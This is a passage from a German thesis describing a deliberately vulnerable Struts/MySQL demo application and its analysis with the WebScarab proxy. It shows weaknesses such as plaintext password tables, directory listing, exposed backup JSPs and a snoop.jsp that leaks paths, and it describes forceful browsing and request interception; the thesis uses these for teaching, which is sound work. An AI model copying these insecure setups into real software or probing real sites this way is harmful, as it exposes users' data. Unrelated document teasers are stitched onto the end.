den Workflow einer Web-Anwendung abbildet. Dazu werden intensiv JSP Taglibs verwendet. Die dynamischen Teile der Anwendung werden über ein Konfigurationsfile (struts-config.xml) gesteuert. Kern 38 Standardmäßig würde die Datei conf/tomcat-users.xml verwendet. Durch Einbindung der Datenbank kann die Gruppe der angemeldeten Benutzer leicht verwaltet werden. 39 Der Eintrag weist den Server an, eine Session nach 10 Minuten Inaktivität zu entfernen.

58 Das Demonstrationssystem 58 der Architektur ist die Klasse org.apache.struts.action.action, bzw. die Methode public ActionForward execute(actionmapping mapping, ActionForm form, HttpServletRequest request, HttpServletResponse response). Die Felder der HTTP-Form werden durch das Framework eingesammelt, in eine Form-Bean geschrieben und der execute-methode der zugehörigen Action-Klasse übergeben. In der Konfiguration wird zunächst der Action eine Ausgangsseite und eine Form-Bean zugeordnet: <action path="/actions/login" type="de.stemmer.master.app.loginaction" name="loginformbean" scope="session" input="/pages/login.jsp"> <exception key="database.sql.error" path="/pages/index.jsp" type="java.sql.sqlexception"/> <forward name="success" path="/pages/kundenportal.jsp"/> <forward name="access-denied" path="/pages/login.jsp" redirect="true"/> </action> Der Action können Fehlerseiten für bestimmte Fehlerklassen zugeordnet werden. Wichtiger sind forwards, die in der Klasse durch return (mapping.findforward("success")); die Verzweigung zur nächsten Seite steuern. Die FormBean wird ebenfalls konfiguriert. Der Bean kann eine Klasse zugeordnet werden: <form-bean name="loginformbean" type="de.stemmer.master.app.loginformbean"/> In diesem Fall wird eine Instanz der Klasse LoginFormBean erzeugt, zu allen Properties der Form in login.jsp nach set-methoden in der LoginFormBean gesucht und diese mit den jeweiligen Werten der Form aufgerufen. Die so gefüllte Bean wird in der execute-methode als Form übergeben. Eine andere Möglichkeit ist die Erzeugung einer dynamischen Bean vom Typ org.apache.struts.action.dynaactionform. Diese muss allerdings in der Konfiguration durch Einträge der Form <form-property name="age" type="java.lang.integer"/> beschrieben werden. Elemente der Form, zu denen es in der Konfiguration eine Entsprechung gibt, werden in eine Map der FormBean geschrieben. Ein weiteres Feature von Struts ist die Validierung. Diese kann über eine Methode public ActionErrors validate(actionmapping mapping, HttpServletRequest request) der FormBean geschehen oder durch Einträge in dem Konfigurationsfile (validation.xml) beschrieben werden:

59 Das Demonstrationssystem 59 <form name="loginformbean"> <field property="j_username" depends="required,minlength"> <arg0 key="loginformbean.opid"/> <arg1 name="minlength" key="${var:minlength}" resource="false"/> <var> <var-name>minlength</var-name> <var-value>6</var-value> </var> </field> <field property="j_password" depends="required,minlength"> <arg0 key="loginformbean.pass"/> <arg1 name="minlength" key="${var:minlength}" resource="false"/> <var> <var-name>minlength</var-name> <var-value>6</var-value> </var> </field> </form> In Struts stehen eine Reihe Validierungsregeln schon zur Verfügung. Schlüssel werden hier, wie auch in anderen Teilen des Frameworks, als Einträge in einer Message-Resource ausgewertet (<message-resources parameter="messageresources" null="false"/>). Die Tag-Bibliothek stellt Tags in der Form <html:form action="/actions/login">, <html:text property="j_username"/>, <html:errors/> oder bean:message und logic:present bereit. Zusätzlich wurden zur Gestaltung des statischen Teils Stuts-Tiles verwendet. Diese bieten eine einfache Möglichkeit, eine Seite ohne Frames aus verschiedenen (wiederverwendbaren) Bestandteilen zusammenzubauen: <definition name=".mainlayout" path="/web-inf/tiles/main-layout.jsp"> <put name="logo" value="/web-inf/tiles/logo.jsp"/> <put name="top-menu" value="/web-inf/tiles/top-menu.jsp"/> <put name="left-menu" value="/web-inf/tiles/menu.jsp"/> <put name="body" value=""/> <put name="container1" value="/web-inf/tiles/container1.jsp"/> <put name="container2" value="/web-inf/tiles/container2.jsp"/> <put name="footer" value="/web-inf/tiles/footer.jsp"/> </definition> Über Einträge wie <td align="left" valign="top"> <tiles:insert attribute="logo"/> </td> werden die Teile dann in der Layout-Seite zusammengebaut. Teil einer jeden Web-Anwendung ist das Verzeichnis WEB-INF. Hier findet sich insbesondere der Deployment-Descriptor web.xml. Neben weiteren Konfigurationsfiles und Bibliotheken liegen hier auch die HTML-Bestandteile der Webseiten, die durch Tiles zugesteuert werden. Das Verzeichnis WEB-INF ist für den Web-Server (und damit für Angreifer) unzugänglich.

60 Das Demonstrationssystem 60 Die zugänglichen Webseiten liegen in einem Verzeichnis pages. Daneben werden die Verzeichnisse css, images und js verwendet. Im lib-verzeichnis, welches sich ebenfalls im Verzeichnis WEB-INF befindet, erwartet die Anwendung die Bibliotheken des Struts-Framework 40. Diese sind Teil des Struts-Paketes. Sie liegen auf der CD vor, sind aber auch Bestandteil der gepackten Eclipse-Umgebung Datenbank Die Datenbank speichert registrierte Benutzer, Verträge, Kunden, Tarife und die Einträge im Gästebuch. Ein Persistenzframework wurde nicht eingesetzt. Zum einen wäre dadurch die Architektur um ein weiteres System komplexer geworden. Zum anderen würde sich durch ein Framework der einfache und anfällige Zugriff auf die Datenbank nicht mehr darstellen lassen. Alle Zugriffe finden über JDBC statt. Die Datenbanktabellen werden durch ein Script installiert (oder zurückgesetzt) und mit Grunddaten gefüllt. Die Scriptdateien heißen masterdb.txt und tarife.txt und werden im Verzeichnis bin der Datenbank (mysql/bin) kopiert und durch das Kommando mysql securita < masterdb.txt aufgerufen. Ist die Datenbank nicht vorhanden muss sie zuvor in der MySQL-Konsole (Aufruf mit mysql) durch das Kommando create database securita; erzeugt werden 41. Die durch das Script erzeugten Tabellen (Abb. 18) sind: create table gaestebuch( id int unsigned auto_increment not null, date date not null, title varchar(50), author varchar(50), text text, primary key (id) ); create table tarife( tarif varchar(20) not null, sex enum('m', 'w') not null, maxage int(3) not null, rate double(5,2) not null ); create table vertrag ( versnr char(10) not null, id int unsigned not null references vn(id), primary key (versnr) ); 40 commons-beanutils.jar, commons-collections.jar, commons-digester.jar,struts.jar, commons-fileupload.jar, commons-logging.jar, commons-validator.jar, jakarta-oro.jar 41 Der Name der Datenbank ist beliebig. Die Verbindung findet über die Datei server.xml statt. Das Kommando zum Löschen der Datenbank ist drop database <name>.

61 Das Demonstrationssystem 61 Abb. 18: Datengerüst der Datenbank der Demoanwendung create table user ( opid varchar(25) not null, pass varchar(25) not null, versnr char(10) references vertrag(versnr), primary key (opid) ); create table role ( opid varchar(25) not null, role varchar(25) not null default 'customer' ); create table vn( id int unsigned auto_increment not null, persid int unsigned not null references person(persid), primary key (id) ); create table vp( id int unsigned auto_increment not null, persid int unsigned not null references person(persid), primary key (id) ); create table person( persid int unsigned auto_increment not null, name varchar(40) not null, vorname varchar(40) not null, anschrift varchar(40) not null, plz varchar(5) not null, ort varchar(40) not null, sex enum('m', 'w') not null, geb date not null, primary key (persid) );

62 Das Demonstrationssystem 62 create table vp_tarif( vp int unsigned not null references vp(id), tarif varchar(20) not null references tarife(tarif), rate double, abschluss date, primary key (vp, tarif) ); create table versnr_vp( versnr char(10) not null references vertrag(versnr), vp int unsigned not null references vp(id), primary key (versnr, vp) ); 6.2. WebScarab WebScarab ist eine Anwendung der OWASP, zu der auch der Quelltext frei verfügbar ist. Das Programm ist modular aufgebaut und beinhaltet einen HTTP-Baukasten zum Austesten und Untersuchen von HTTP-Verbindungen und Web-Anwendungen. WebScarab kann als HTTP-Client und auch als Proxy arbeiten (Abb. 19) und ist zudem HTTPS-fähig. Verwendet wurde die Version (webscarab-installer jar). WebScarab ist Basis des im Rahmen dieser Arbeit entwickelten Shields, der sich als Plugin integriert. Die Entwicklungsumgebung erwartet die Bibliotheken in einem Verzeichnis Java\WebScarab. Bei einer Installation in ein anderes Verzeichnis müssen die Pfade in Eclipse angepasst werden. Abb. 19: WebScarab - Proxyeinstellung

63 Das Demonstrationssystem 63 Zum Aufzeichnen von Verbindungen muss WebScarab zunächst als Proxy konfiguriert werden 42. Um später die Plugins des Proxies verwenden zu können, müssen diese eingeschaltet sein. Adresse localhost localhost Port BaseURL https://localhost:8443 Uses plugins Uses plugins Statt eine Verbindung zu Port 8080 (bzw. 8443) aufzubauen, wird im Browser nun die URL 43 eingetragen. Als Plugin wird später unter dem Reiter (Miscellaneous) die Option Reveal hidden fields in HTML page verwendet, die im Content des Responses alle Textstellen der Form <input type="hidden"...> durch <input type="text"...> ersetzt. Interessant ist auch der Reiter Manual Edit als Plugin des Proxies. Wahlweise können hier Request und Response zur Laufzeit angezeigt und verändert werden, bevor sie den Server erreichen bzw. an den Client übermittelt werden. Dazu muss das Feld Intercept Requests bzw. Intercept Responses ausgewählt werden. Um SSL-Verbindungen anzunehmen, muss zuvor über den Menüpunkt Tools/Certificates die Verwendung des WebScarab Zertifikates eingeschaltet werden (Abb. 20). Da es sich bei dem von WebScarab verwendeten Zertifikat um ein self-signed-certificate handelt, weist der Browser bei der Verbindung zum Proxy (WebScarab) darauf hin. Abb. 20: WebScarab - Konfiguration für SSL Alle Einstellungen (Proxyadressen, Optionen,...) speichert WebScarab in einer Datei WebScarab.properties, die im Profilverzeichnis des Benutzers abgelegt wird. Beispiel: c:\winnt\profiles\administrator\webscarab.properties. Nach dem Aufruf der URL präsentiert sich die Summary in WebScarab wie in Abb. 21. Durch Doppelklicken einer Verbindung in der unteren Tabelle öffnet sich ein Fenster (Abb. 23), in dem alle Einzelheiten der Verbindung (Request und Response) im Klartext aufgeführt sind. 42 Um WebScarab als Shield auf einer dedizierten Maschine zu verwenden, müssen die Adressen entsprechend modifiziert werden. 43 Ohne Portangabe wird Port 80 verwendet.

64 Das Demonstrationssystem 64 Abb. 21: WebScarab - Summary Die Architektur von WebScarab arbeitet konsequent mit Schnittstellen und trennt Daten und Darstellung. Das System beinhaltet unter anderem ein Repository für die Verbindungen mit der Möglichkeit, zusätzliche Daten zu einer Verbindung abzulegen. Für Plugins existiert eine Schnittstelle, über die es möglich ist, den Request und den Response zu untersuchen und zu verändern, bevor diese weitergesendet werden. Bei der Untersuchung des Responses stehen die Daten aus dem Request ebenfalls zur Verfügung. WebScarab nutzt HTMLParser 1.4, welches ebenfalls ein Open-Source Projekt ist. Der Parser zerlegt eine HTML-Struktur in ihre Bestandteile und kann aus diesen (oder modifizierten Einträgen) wiederum eine HTML-Seite erzeugen. Über Filter lassen sich beliebige (auch komplexe) Strukturen extrahieren (vgl. 9.5). Aus unbekanntem Grund war SSL mit WebScarab in der Eclipse SEU nicht funktionsfähig. Deshalb war es notwendig eine JRE zu klonen, die keine Bibliotheken aus jre/lib/ext mehr verwendet hat und diese zur Ausführung des Programmes zu verwenden Schwachstellen der Demoanwendung Einschränkung: Die Demoanwendung arbeitet mit dem Standardzeichensatz ISO und fordert den Client mittels Content-Type und META-Tag auf, diesen zu benutzen. In HTTP 1.0 wurde der Content-Type-Header uneinheitlich behandelt. Ohne Angabe des Zeichensatzes versuchte der Client selbständig, diesen zu ermitteln (bzw. zu erraten). HTML 3.x verwendete standardmäßig noch ISO , während seit 4.0 der Endbenutzer den Zeichensatz wählen kann. Probleme, die sich durch die Wahl (oder Nicht-Wahl) eines Zeichensatzes ergeben, werden im Rahmen der Arbeit nicht weiter untersucht. Mehr dazu findet sich bei [10] und [HUS04]. Zur Untersuchung der Anwendung wird WebScarab verwendet.

65 Das Demonstrationssystem 65 Die Startseite (Kontext-Root) wird aufgerufen. Durch die folgende Konfiguration im Deployment-Descriptor wird zur Kontext-Root vom Server die Seite index.jsp zurückgegeben. <welcome-file-list> <welcome-file>pages/index.jsp</welcome-file> </welcome-file-list> Die URL der Indexseite wird im Browser auch angezeigt, wenn der Benutzer mit der Maus über das Logo oder den Home-Link fährt. Neben der Seite index.jsp werden eine Reihe weiterer Ressourcen durch den Client geladen (Abb. 21). Der Spider als Werkzeug in WebScarab sucht nach Ressourcen, die bisher nicht durch einen Request geladen wurden Default Servlet / Insecure Configuration Management In der Auswertung durch den Spider (Abb. 22) fällt auf, dass in einer klaren hierarchischen Anordnung, die fast allen Sites zueigen ist, Dateien erscheinen, die aus dem Auftritt selbst offensichtlich nicht referenziert werden. Der Grund dafür ist einfach: Das Default-Servlet ist nicht abgeschaltet. Abb. 22: WebScarab - Auswertung durch das Spidertool Gibt ein Benutzer in der URL ein, wird durch das Default-Servlet ein Verzeichnislisting Directory Listing For /pages/ erzeugt, da die Einstellung in der <welcome-file-list> nur unmittelbar für die Kontext-Root gilt. 44 Da bei der Auswertung auch unterschiedliche Parameter ins Gewicht fallen, kommt es vor, dass im Baum auch bekannte Ressourcen aufgeführt werden.

66 Das Demonstrationssystem Backupdateien / Insecure Configuration Management Der aufmerksame Besucher findet außerdem eine JSP mit der Endung.bak, die er aufrufen kann, ohne dass der Server daraus ein Servlet generiert. Unter Umständen liefert die JSP weitere Aufschlüsse über die Funktionsweise der Site 45 (Forceful Browsing). Über das Kontextmenü (rechte Maustaste) kann der Quelltext der Seite angezeigt werden: taglib uri="http://struts.apache.org/tags-tiles" prefix="tiles" %> <tiles:insert definition="kaufen1.page"> <tiles:put name="title" value="produkte - Berechnen"/> </tiles:insert> snoop.jsp / Debug Option und Forceful Browsing Im Verzeichnis old befindet sich eine Datei snoop.jsp. Snoop-Files finden sich auf vielen Systemen und dienen (wie spy.jsp, index.php, etc.) dazu, die Installation und die Konfiguration zu testen 46. Natürlich sollten sie nicht in den produktiven Betrieb gelangen. Die Ausgabe der JSP fördert mit Real path: C:\java\eclipse\workspace\Master eine für den Angreifer ausgesprochen interessante Information zutage (mehr dazu in ). Durch einen Doppelklick in der Summary (Abb. 21) zeigt WebScarab eine Detailansicht zu jedem Request an (Abb. 23). Abb. 23: WebScarab - Detailansicht zu einem Request 45 Durch den Einsatz von Tiles und das Auslagern der wichtigen Teile in das WEB-INF-Verzeichnis, gibt es für einen Angreifer hier allerdings wenig zu entdecken. 46 Snoop existiert auch als Servlet-Version. Mit Hilfe eines aktiven Invoker-Servlets (vgl ) könnte es einem Angreifer gelingen, auch dieses für seine Zwecke zu nutzen.

TCP/IP-Protokollfamilie

TCP/IP-Protokollfamilie TCP/IP-Protokollfamilie Internet-Protokolle Mit den Internet-Protokollen kann man via LAN- oder WAN kommunizieren. Die bekanntesten Internet-Protokolle sind das Transmission Control Protokoll (TCP) und

Mehr

Internet, Multimedia und Content Management

Internet, Multimedia und Content Management Mag. Friedrich Wannerer Internet, Multimedia und Content Management Jahrgang 1, 2, 3 (bzw. 4 und 5) 1. Jahrgang Internet Grundbegriffe, Zugang Informationsbeschaffung (Suchmaschinen) Webseitengestaltung

Mehr

KN 20.04.2015. Das Internet

KN 20.04.2015. Das Internet Das Internet Internet = Weltweiter Verbund von Rechnernetzen Das " Netz der Netze " Prinzipien des Internet: Jeder Rechner kann Information bereitstellen. Client / Server Architektur: Server bietet Dienste

Mehr

Verschlüsselung der Kommunikation zwischen Rechnern

Verschlüsselung der Kommunikation zwischen Rechnern Verschlüsselung der Kommunikation zwischen Rechnern Stand: 11. Mai 2007 Rechenzentrum Hochschule Harz Sandra Thielert Hochschule Harz Friedrichstr. 57 59 38855 Wernigerode 03943 / 659 0 Inhalt 1 Einleitung

Mehr

SSL-Protokoll und Internet-Sicherheit

SSL-Protokoll und Internet-Sicherheit SSL-Protokoll und Internet-Sicherheit Christina Bräutigam Universität Dortmund 5. Dezember 2005 Übersicht 1 Einleitung 2 Allgemeines zu SSL 3 Einbindung in TCP/IP 4 SSL 3.0-Sicherheitsschicht über TCP

Mehr

Lösungen zu Kontrollfragen: Internet

Lösungen zu Kontrollfragen: Internet Lösungen zu Kontrollfragen: Internet 1. Zählen Sie mindestens 5 Internet-Dienste auf. World Wide Web E-Mail News File Transfer Telnet/Secure Shell Domain Name Service 2. Was ist eine virtuelle Verbindung?

Mehr

IT- und Medientechnik

IT- und Medientechnik IT- und Medientechnik Vorlesung 6: 14.11.2014 Wintersemester 2014/2015 h_da, Lehrbeauftragter Themenübersicht der Vorlesung Hard- und Software Hardware: CPU, Speicher, Bus, I/O,... Software: System-, Unterstützungs-,

Mehr

Klausur Kommunikation I. Sommersemester 2003. Dipl.-Ing. T. Kloepfer

Klausur Kommunikation I. Sommersemester 2003. Dipl.-Ing. T. Kloepfer Kommunikation I 1 Klausur Kommunikation I Sommersemester 2003 Dipl.-Ing. T. Kloepfer Bearbeitungsinformationen Aufbau der Klausur Die Klausur ist wie folgt aufgebaut: Die Klausur ist in 18 Aufgaben unterteilt.

Mehr

Proseminar: Website-Management-Systeme

Proseminar: Website-Management-Systeme Proseminar: Website-Management-Systeme Thema: Web: Apache/Roxen von Oliver Roeschke email: o_roesch@informatik.uni-kl.de Gliederung: 1.) kurze Einleitung 2.) Begriffsklärung 3.) Was ist ein Web? 4.) das

Mehr

Kapitel 6 Internet 1

Kapitel 6 Internet 1 Kapitel 6 Internet 1 Kapitel 6 Internet 1. Geschichte des Internets 2. Datenübertragung mit TCP/IP 3. Internetadressen 4. Dynamische Zuteilung von Internetadressen 5. Domain-Namen 6. Internetdienste 2

Mehr

Internet und WWW Übungen

Internet und WWW Übungen Internet und WWW Übungen 6 Rechnernetze und Datenübertragung [WEB6] Rolf Dornberger 1 06-11-07 6 Rechnernetze und Datenübertragung Aufgaben: 1. Begriffe 2. IP-Adressen 3. Rechnernetze und Datenübertragung

Mehr

Internet - Grundzüge der Funktionsweise. Kira Duwe

Internet - Grundzüge der Funktionsweise. Kira Duwe Internet - Grundzüge der Funktionsweise Kira Duwe Gliederung Historische Entwicklung Funktionsweise: -Anwendungen -Rechnernetze -Netzwerkschichten -Datenkapselung -RFC -Verschiedene Protokolle (Ethernet,

Mehr

Seminar Neue Techologien in Internet und WWW

Seminar Neue Techologien in Internet und WWW Seminar Neue Techologien in Internet und WWW Sicherheit auf der Anwendungsschicht: HTTP mit SSL, TLS und dabei verwendete Verfahren Christian Raschka chrisra@informatik.uni-jena.de Seminar Neue Internettechnologien

Mehr

1 Technische Aspekte des Internets

1 Technische Aspekte des Internets 1.1 Aufbau, Adressierung und Protokolle 7 Um das manchmal komplexe Verhalten von Informatiksystemen zu verstehen, ist eine Vorstellung von deren technischen Grundlagen erforderlich. Die Ursache der Komplexität

Mehr

Domain Name Service (DNS)

Domain Name Service (DNS) Domain Name Service (DNS) Aufgabe: den numerischen IP-Adressen werden symbolische Namen zugeordnet Beispiel: 194.94.127.196 = www.w-hs.de Spezielle Server (Name-Server, DNS) für Listen mit IP-Adressen

Mehr

Einführung. Übersicht

Einführung. Übersicht Einführung Erik Wilde TIK ETH Zürich Sommersemester 2001 Übersicht Durchführung der Veranstaltung Termine (Vorlesung und Übung) Bereitstellung von Informationen Einführung Internet Internet als Transportinfrastruktur

Mehr

Multimediale Werkzeuge. Textformate, Medienobjekte

Multimediale Werkzeuge. Textformate, Medienobjekte Multimediale Werkzeuge Textformate, Medienobjekte Geschichte/ Eigenschaften von Textformaten Gebräuchliche Textformate, z.b. für HTML Files, Programme: ASCII (American Standard Code for Inform. Interchange)

Mehr

Gefahren aus dem Internet 1 Grundwissen April 2010

Gefahren aus dem Internet 1 Grundwissen April 2010 1 Grundwissen Voraussetzungen Sie haben das Internet bereits zuhause oder an der Schule genutzt. Sie wissen, was ein Provider ist. Sie wissen, was eine URL ist. Lernziele Sie wissen, was es braucht, damit

Mehr

Motivation. Inhalt. URI-Schemata (1) URI-Schemata (2)

Motivation. Inhalt. URI-Schemata (1) URI-Schemata (2) 14. URIs Uniform Resource Identifier 14-1 14. URIs Uniform Resource Identifier 14-2 Motivation Das WWW ist ein Hypermedia System. Es enthält: Resourcen (Multimedia Dokumente) Verweise (Links) zwischen

Mehr

PKI (public key infrastructure)

PKI (public key infrastructure) PKI (public key infrastructure) am Fritz-Haber-Institut 11. Mai 2015, Bilder: Mehr Sicherheit durch PKI-Technologie, Network Training and Consulting Verschlüsselung allgemein Bei einer Übertragung von

Mehr

TLS ALS BEISPIEL FÜR EIN SICHERHEITSPROTOKOLL

TLS ALS BEISPIEL FÜR EIN SICHERHEITSPROTOKOLL 1 TLS ALS BEISPIEL FÜR EIN SICHERHEITSPROTOKOLL Kleine Auswahl bekannter Sicherheitsprotokolle X.509 Zertifikate / PKIX Standardisierte, häufig verwendete Datenstruktur zur Bindung von kryptographischen

Mehr

Grundlagen Funktionsweise Anhang Begriffserklärungen. DHCP Grundlagen. Andreas Hoster. 9. Februar 2008. Vortrag für den PC-Treff Böblingen

Grundlagen Funktionsweise Anhang Begriffserklärungen. DHCP Grundlagen. Andreas Hoster. 9. Februar 2008. Vortrag für den PC-Treff Böblingen 9. Februar 2008 Vortrag für den PC-Treff Böblingen Agenda 1 Einleitung Netzwerkeinstellungen 2 Feste Zuordnung Lease 3 4 Einleitung Einleitung Netzwerkeinstellungen DHCP, das Dynamic Host Configuration

Mehr

Vorlesung SS 2001: Sicherheit in offenen Netzen

Vorlesung SS 2001: Sicherheit in offenen Netzen Vorlesung SS 2001: Sicherheit in offenen Netzen 2.4 Internet-Protokolle für serielle Leitungen Prof. Dr. Christoph Meinel Informatik, Universität Trier & Institut für Telematik, Trier Prof. Dr. sc. nat.

Mehr

Schichtenmodell. Informatik Fortbildung Kommunikation in Rechnernetzen. IFB Speyer 14.-16. November 2011. Dr. Michael Schlemmer

Schichtenmodell. Informatik Fortbildung Kommunikation in Rechnernetzen. IFB Speyer 14.-16. November 2011. Dr. Michael Schlemmer Schichtenmodell Informatik Fortbildung Kommunikation in Rechnernetzen IFB Speyer 14.-16. November 2011 Dr. Michael Schlemmer ISO-OSI Schichtenmodell Moderne Kommunikationssysteme sind komplex: Gestalt

Mehr

TCP/UDP. Transport Layer

TCP/UDP. Transport Layer TCP/UDP Transport Layer Lernziele 1. Wozu dient die Transportschicht? 2. Was passiert in der Transportschicht? 3. Was sind die wichtigsten Protkolle der Transportschicht? 4. Wofür wird TCP eingesetzt?

Mehr

IT- und Medientechnik

IT- und Medientechnik IT- und Medientechnik Vorlesung 5: 7.11.2014 Wintersemester 2014/2015 h_da, Lehrbeauftragter Themenübersicht der Vorlesung Hard- und Software Hardware: CPU, Speicher, Bus, I/O,... Software: System-, Unterstützungs-,

Mehr

SSL Algorithmen und Anwendung

SSL Algorithmen und Anwendung SSL Algorithmen und Anwendung Stefan Pfab sisspfab@stud.uni-erlangen.de Abstract Viele Anwendungen erfordern nicht nur eine eindeutige und zuverlässige Identifizierung der an einer Kommunikation beteiligten

Mehr

Prinzipiell wird bei IP-basierenden VPNs zwischen zwei unterschiedlichen Ansätzen unterschieden:

Prinzipiell wird bei IP-basierenden VPNs zwischen zwei unterschiedlichen Ansätzen unterschieden: Abkürzung für "Virtual Private Network" ein VPN ist ein Netzwerk bestehend aus virtuellen Verbindungen (z.b. Internet), über die nicht öffentliche bzw. firmeninterne Daten sicher übertragen werden. Die

Mehr

Denn es geht um ihr Geld:

Denn es geht um ihr Geld: Denn es geht um ihr Geld: [A]symmetrische Verschlüsselung, Hashing, Zertifikate, SSL/TLS Warum Verschlüsselung? Austausch sensibler Daten über das Netz: Adressen, Passwörter, Bankdaten, PINs,... Gefahr

Mehr

Anmeldung über Netz Secure Socket Layer Secure Shell SSH 1 SSH 2. Systemverwaltung. Tatjana Heuser. Sep-2011. Tatjana Heuser: Systemverwaltung

Anmeldung über Netz Secure Socket Layer Secure Shell SSH 1 SSH 2. Systemverwaltung. Tatjana Heuser. Sep-2011. Tatjana Heuser: Systemverwaltung Systemverwaltung Tatjana Heuser Sep-2011 Anmeldung über Netz Secure Socket Layer Secure Shell Intro Client-Server SSH 1 Verbindungsaufbau SSH 2 Verbindungsaufbau Konfiguration Serverseite ssh Configuration

Mehr

4. Verwendete Methoden und Werkzeuge

4. Verwendete Methoden und Werkzeuge 4. Verwendete Methoden und Werkzeuge In diesem Kapitel werden die verschiedenen Methoden und Werkzeuge vorgestellt, die bei der Realisierung der Mediathek eingesetzt wurden. Zuerst werden die Grundlagen

Mehr

Einführung in TCP/IP. das Internetprotokoll

Einführung in TCP/IP. das Internetprotokoll Schwarz Einführung in TCP/IP das Internetprotokoll Was ist ein Protokoll? Mensch A Mensch B Englisch Deutsch Spanisch Französisch Englisch Japanisch Was sind die Aufgaben eines Protokolls? Informationen

Mehr

FOPT 5: Eigenständige Client-Server-Anwendungen (Programmierung verteilter Anwendungen in Java 1)

FOPT 5: Eigenständige Client-Server-Anwendungen (Programmierung verteilter Anwendungen in Java 1) 1 FOPT 5: Eigenständige Client-Server-Anwendungen (Programmierung verteilter Anwendungen in Java 1) In dieser Kurseinheit geht es um verteilte Anwendungen, bei denen wir sowohl ein Client- als auch ein

Mehr

!"# $ % Internet Protokolle: HTTP 1/38

!# $ % Internet Protokolle: HTTP 1/38 !"# $ % Internet Protokolle: HTTP 1/38 1 Themenübersicht Schichtenmodell Gopher /FTP Statistik URL Einleitung Anwendungsablauf Beispiel mit Telnet Request, Response Anfragemethoden header Negotiation Proxyserver

Mehr

IT- und Medientechnik

IT- und Medientechnik IT- und Medientechnik Vorlesung 11: 19.12.2014 Wintersemester 2014/2015 h_da, Lehrbeauftragter Themenübersicht der Vorlesung Hard- und Software Hardware: CPU, Speicher, Bus, I/O,... Software: System-,

Mehr

1.) Nennen Sie Aufgaben und mögliche Dienste der Transportschicht (Transport Layer) des ISO/OSI-Schichtenmodells.

1.) Nennen Sie Aufgaben und mögliche Dienste der Transportschicht (Transport Layer) des ISO/OSI-Schichtenmodells. Übung 7 1.) Nennen Sie Aufgaben und mögliche Dienste der Transportschicht (Transport Layer) des ISO/OSI-Schichtenmodells. 2.) Charakterisieren Sie kurz das User Datagram Protokoll (UDP) aus der Internetprotokollfamilie

Mehr

Vorlesung SS 2001: Sicherheit in offenen Netzen

Vorlesung SS 2001: Sicherheit in offenen Netzen Vorlesung SS 2001: Sicherheit in offenen Netzen 2.13 File Transfer Protocol - FTP Prof. Dr. Christoph Meinel Informatik, Universität Trier & Institut für Telematik, Trier Prof. Dr. sc. nat. Christoph Meinel,

Mehr

Referat von Sonja Trotter Klasse: E2IT1 Datum Jan. 2003. Subnetting

Referat von Sonja Trotter Klasse: E2IT1 Datum Jan. 2003. Subnetting Referat von Sonja Trotter Klasse: E2IT1 Datum Jan. 2003 Subnetting Einleitung Thema dieser Ausarbeitung ist Subnetting Ganz zu Beginn werden die zum Verständnis der Ausführung notwendigen Fachbegriffe

Mehr

Virtual Private Networks. Hans Peter Dittler BRAINTEC Netzwerk-Consulting GmbH

Virtual Private Networks. Hans Peter Dittler BRAINTEC Netzwerk-Consulting GmbH Virtual Private Networks Hans Peter Dittler BRAINTEC Netzwerk-Consulting GmbH Inhalt Einleitung Grundlagen Kryptographie IPSec Firewall Point-to-Point Tunnel Protokoll Layer 2 Tunnel Protokoll Secure Shell

Mehr

Internet-Sicherheit. Browser, Firewalls und Verschlüsselung. von Kai Fuhrberg. 2. Auflage

Internet-Sicherheit. Browser, Firewalls und Verschlüsselung. von Kai Fuhrberg. 2. Auflage Internet-Sicherheit Browser, Firewalls und Verschlüsselung von Kai Fuhrberg 2. Auflage Internet-Sicherheit Fuhrberg schnell und portofrei erhältlich bei beck-shop.de DIE FACHBUCHHANDLUNG Hanser München

Mehr

Internet Basics oder Wie funktioniert das Internet? Stefan Sporrer

Internet Basics oder Wie funktioniert das Internet? Stefan Sporrer Internet Basics oder Wie funktioniert das Internet? Stefan Sporrer Geschichte des Internets Geschichte des Internet 1967-1969: Entwicklung der Vernetzung von Computern (Advanced Research Projekt Agency

Mehr

Lösungen zu 978-3-8045-5387-3 Informations- und Telekommunikationstechnik - Arbeitsheft

Lösungen zu 978-3-8045-5387-3 Informations- und Telekommunikationstechnik - Arbeitsheft Lösungen zu ---- Informations- und Telekommunikationstechnik - Arbeitsheft Handlungsschritt Aufgabe a) Die TCP/IP-Protokollfamilie verwendet logischen Adressen für die Rechner (IP- Adressen), die eine

Mehr

Kurzeinführung VPN. Veranstaltung. Rechnernetze II

Kurzeinführung VPN. Veranstaltung. Rechnernetze II Kurzeinführung VPN Veranstaltung Rechnernetze II Übersicht Was bedeutet VPN? VPN Typen VPN Anforderungen Was sind VPNs? Virtuelles Privates Netzwerk Mehrere entfernte lokale Netzwerke werden wie ein zusammenhängendes

Mehr

Virtuelle Private Netze

Virtuelle Private Netze Virtuelle Private Netze VPN mit openvpn und openssl michael dienert, peter maaß Walther-Rathenau-Gewerbeschule Freiburg 30. April 2012 Inhalt Was ist ein VPN Rahmen, Pakete, virtuelle Verbindungen Die

Mehr

Verteilte Systeme. 10.1 Unsicherheit in Verteilten Systemen

Verteilte Systeme. 10.1 Unsicherheit in Verteilten Systemen Verteilte Systeme Übung 10 Jens Müller-Iden Gruppe PVS (Parallele und Verteilte Systeme) Institut für Informatik Westfälische Wilhelms-Universität Münster Sommersemester 2007 10.1 Unsicherheit in Verteilten

Mehr

Internetprotokolle: POP3. Peter Karsten Klasse: IT7a. Seite 1 von 6

Internetprotokolle: POP3. Peter Karsten Klasse: IT7a. Seite 1 von 6 Internetprotokolle: POP3 Peter Karsten Klasse: IT7a Seite 1 von 6 Alle Nachrichten, die auf elektronischem Weg über lokale oder auch globale Netze wie das Internet verschickt werden, bezeichnet man als

Mehr

Client Server -Anwendungen mit UML und Java

Client Server -Anwendungen mit UML und Java 3. Informatiktag NRW Client-Server mit UML und Java - 1/40 29.3.2004 Client Server -Anwendungen mit UML und Java 3. Informatiktag NRW 29.3.04 Barbara Leipholz-Schumacher Euregio-Kolleg, Würselen 3. Informatiktag

Mehr

Verteilte Systeme. Übung 10. Jens Müller-Iden

Verteilte Systeme. Übung 10. Jens Müller-Iden Verteilte Systeme Übung 10 Jens Müller-Iden Gruppe PVS (Parallele und Verteilte Systeme) Institut für Informatik Westfälische Wilhelms-Universität Münster Sommersemester 2007 10.1 Unsicherheit in Verteilten

Mehr

Protokolle. Konrad Rosenbaum, 2006/7 protected under the GNU GPL & FDL

